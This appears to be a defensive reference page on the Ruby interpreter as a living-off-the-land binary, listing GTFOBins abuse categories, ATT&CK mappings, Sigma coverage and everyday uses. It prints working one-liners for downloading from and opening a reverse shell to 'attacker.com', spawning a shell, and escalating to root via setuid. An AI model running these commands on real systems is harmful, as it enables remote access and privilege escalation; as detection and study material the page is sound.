Identifier / Programs / Linux and Unix
ruby
Ruby programming language interpreter. tldr-pages
GTFOBins download, file-read, file-write, library-load, reverse-shell, shell, upload 3 Sigma rules name it 2 ATT&CK techniques 7 documented commands
How ruby is abused
download T1105 Ingress Tool Transfer
-efile-read
-efile-write
-elibrary-load
-eshell T1059.004 Command and Scripting Interpreter: Unix Shell
-eupload
-run-e-pEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ruby.
7 documented commands
download unprivileged, with sudo
ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'Identifyfile-read unprivileged, with sudo
ruby -e 'puts File.read("/path/to/input-file")'Identifyfile-write unprivileged, with sudo
ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'Identifylibrary-load unprivileged, with sudo
ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'Identifyreverse-shell unprivileged, with sudo
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'Identifyshell unprivileged, with sudo, with capabilities
ruby -e 'exec "/bin/sh"'IdentifyWith capabilities:
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
upload unprivileged, with sudo
ruby -run -e httpd . -p 80IdentifyNone of the 7 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ruby. The identifier reads the line of each that runs ruby.
What detects it
Everyday use
Execute a Ruby script
ruby path/to/script.rbIdentifyExecute a single Ruby command in the command-line
ruby -e "command"IdentifyCheck for syntax errors on a given Ruby script
ruby -c path/to/script.rbIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.